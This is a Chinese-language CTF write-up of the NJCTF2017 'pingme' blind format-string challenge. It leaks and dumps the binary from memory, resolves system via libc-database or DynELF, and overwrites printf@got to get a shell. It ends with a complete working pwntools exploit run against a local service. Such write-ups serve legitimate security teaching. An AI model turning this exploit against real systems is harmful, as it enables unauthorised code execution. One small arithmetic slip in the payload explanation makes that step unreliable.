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6.1.2 pwn NJCTF2017 pingme
题目复现
在 6.1.1 中我们看到了 blind ROP，这一节中则将看到 blind fmt。它们的共同点是都没有二进制文件，只提供 ip 和端口。
checksec 如下：
$ checksec -f pingme
RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme
关闭 ASLR，然后把程序运行起来：
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme &
Blind fmt 原理及题目解析
格式化字符串漏洞我们已经在 3.3.1 中详细讲过了，blind fmt 要求我们在没有二进制文件和 libc.so 的情况下进行漏洞利用，好在程序没有开启任何保护，利用很直接。
通常有两种方法可以解决这种问题，一种是利用信息泄露把程序从内存中 dump 下来，另一种是使用 pwntools 的 DynELF 模块（关于该模块的使用我们在章节 4.4 中有讲过）。
确认漏洞
首先你当然不知道这是一个栈溢出还是格式化字符串，栈溢出的话输入一段长字符串，但程序是否崩溃，格式化字符串的话就输入格式字符，看输出。
$ nc 127.0.0.1 10001
Ping me
ABCD%7$x
ABCD44434241
很明显是格式字符串，而且 ABCD 在第 7 个参数的位置，实际上当然不会这么巧，所以需要使用一个脚本去枚举。这里使用 pwntools 的 fmtstr 模块了：
def exec_fmt(payload):
p.sendline(payload)
info = p.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
[*] Found format string offset: 7
dump file
接下来我们就利用该漏洞把二进制文件从内存中 dump 下来：
def dump_memory(start_addr, end_addr):
result = ""
while start_addr < end_addr:
p = remote('127.0.0.1', '10001')
p.recvline()
#print result.encode('hex')
payload = "%9$s.AAA" + p32(start_addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4]
if data == "":
data = "\x00"
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
result += data
start_addr += len(data)
p.close()
return result
start_addr = 0x8048000
end_addr = 0x8049000
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
f.write(code_bin)
f.close()
这里构造的 paylaod 和前面有点不同，它把地址放在了后面，是为了防止 printf 的 %s 被 \x00 截断：
payload = "%9$s.AAA" + p32(start_addr)
另外 .AAA，是作为一个标志，我们需要的内存在 .AAA 的前面，最后，偏移由 7 变为 9。
在没有开启 PIE 的情况下，32 位程序从地址 0x8048000 开始，0x1000 的大小就足够了。在对内存 \x00 进行 leak 时，数据长度为零，直接给它赋值就可以了。
于是就成了有二进制文件无 libc 的格式化字符串漏洞，在 r2 中查询 printf 的 got 地址：
[0x08048490]> is~printf
vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf
[0x08048490]> pd 3 @ 0x08048400
: ;-- imp.printf:
: 0x08048400 ff2574990408 jmp dword [reloc.printf_116] ; 0x8049974
: 0x08048406 6808000000 push 8 ; 8
`=< 0x0804840b e9d0ffffff jmp 0x80483e0
地址为 0x8049974。
printf address & system address
接下来通过 printf@got 泄露出 printf 的地址，进行到这儿，就有两种方式要考虑了，即我们是否可以拿到 libc，如果能，就很简单了。如果不能，就需要使用 DynELF 进行无 libc 的利用。
先说第一种：
def get_printf_addr():
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(printf_got)
p.sendline(payload)
data = p.recvuntil(".AAA")[:4]
log.info("printf address: %s" % data.encode('hex'))
return data
printf_addr = get_printf_addr()
[*] printf address: 70e6e0f7
所以 printf 的地址是 0xf7e0e670（小端序），使用 libc-database 查询得到 libc.so，然后可以得到 printf 和 system 的相对位置。
$ ./find printf 670
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
/usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098)
$ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system
offset_printf = 0x00051670
offset_system = 0x0003cc50
然后计算得到 printf 的地址：
printf_addr = 0xf7e0e670
offset_printf = 0x00051670
offset_system = 0x0003cc50
system_addr = printf_addr - (offset_printf - offset_system)
第二种方法是使用 DynELF 模块来泄露函数地址：
def leak(addr):
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4] + "\x00"
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
p.close()
return data
data = DynELF(leak, 0x08048490) # Entry point address
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info("system address: 0x%x" % system_addr)
log.info("printf address: 0x%x" % printf_addr)
[*] system address: 0xf7df9c50
[*] printf address: 0xf7e0e670
DynELF 不要求我们拿到 libc.so，所以如果我们查询不到 libc.so 的版本信息，该模块就能发挥它最大的作用。
attack
按照格式化字符串漏洞的套路，我们通过任意写将 printf@got 指向的内存覆盖为 system 的地址，然后发送字符串 /bin/sh，就可以在调用 printf("/bin/sh") 的时候实际上调用 system("/bin/sh")。
终极 payload 如下，使用 fmtstr_payload 函数来自动构造，将：
payload = fmtstr_payload(7, {printf_got: system_addr})
p = remote('127.0.0.1', '10001')
p.recvline()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh')
p.interactive()
虽说有这样的自动化函数很方便，基本的手工构造还是要懂的，看一下生成的 payload 长什么样子：
[DEBUG] Sent 0x3a bytes:
00000000 74 99 04 08 75 99 04 08 76 99 04 08 77 99 04 08 │t···│u···│v···│w···│
00000010 25 36 34 63 25 37 24 68 68 6e 25 37 36 63 25 38 │%64c│%7$h│hn%7│6c%8│
00000020 24 68 68 6e 25 36 37 63 25 39 24 68 68 6e 25 32 │$hhn│%67c│%9$h│hn%2│
00000030 34 63 25 31 30 24 68 68 6e 0a │4c%1│0$hh│n·│
0000003a
开头是 printf@got 地址，四个字节分别位于：
0x08049974
0x08049975
0x08049976
0x08049977
然后是格式字符串 %64c%7$hhn%76c%8hhn%67c%9$hhn%24c%10$hhn：
16 + 64 = 80 = 0x50
80 + 76 = 156 = 0x9c
156 + 67 = 223 = 0xdf
233 + 24 = 247 = 0xf7
就这样将 system 的地址写入了内存。
Bingo!!!
$ python2 exp.py
[+] Opening connection to 127.0.0.2 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
Exploit
完整的 exp 如下：
from pwn import *
# context.log_level = 'debug'
def exec_fmt(payload):
p.sendline(payload)
info = p.recv()
return info
# p = remote('127.0.0.1', '10001')
# p.recvline()
# auto = FmtStr(exec_fmt)
# offset = auto.offset
# p.close()
def dump_memory(start_addr, end_addr):
result = ""
while start_addr < end_addr:
p = remote('127.0.0.1', '10001')
p.recvline()
# print result.encode('hex')
payload = "%9$s.AAA" + p32(start_addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4]
if data == "":
data = "\x00"
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
result += data
start_addr += len(data)
p.close()
return result
# start_addr = 0x8048000
# end_addr = 0x8049000
# code_bin = dump_memory(start_addr, end_addr)
# with open("code.bin", "wb") as f:
# f.write(code_bin)
# f.close()
printf_got = 0x8049974
## method 1
def get_printf_addr():
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(printf_got)
p.sendline(payload)
data = p.recvuntil(".AAA")[:4]
log.info("printf address: %s" % data.encode('hex'))
return data
# printf_addr = get_printf_addr()
printf_addr = 0xf7e0e670
offset_printf = 0x00051670
offset_system = 0x0003cc50
system_addr = printf_addr - (offset_printf - offset_system)
## method 2
def leak(addr):
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4] + "\x00"
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
p.close()
return data
# data = DynELF(leak, 0x08048490) # Entry point address
# system_addr = data.lookup('system', 'libc')
# printf_addr = data.lookup('printf', 'libc')
# log.info("system address: 0x%x" % system_addr)
# log.info("printf address: 0x%x" % printf_addr)
## get shell
payload = fmtstr_payload(7, {printf_got: system_addr})
p = remote('127.0.1.1', '10001')
p.recvline()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh')
p.interactive()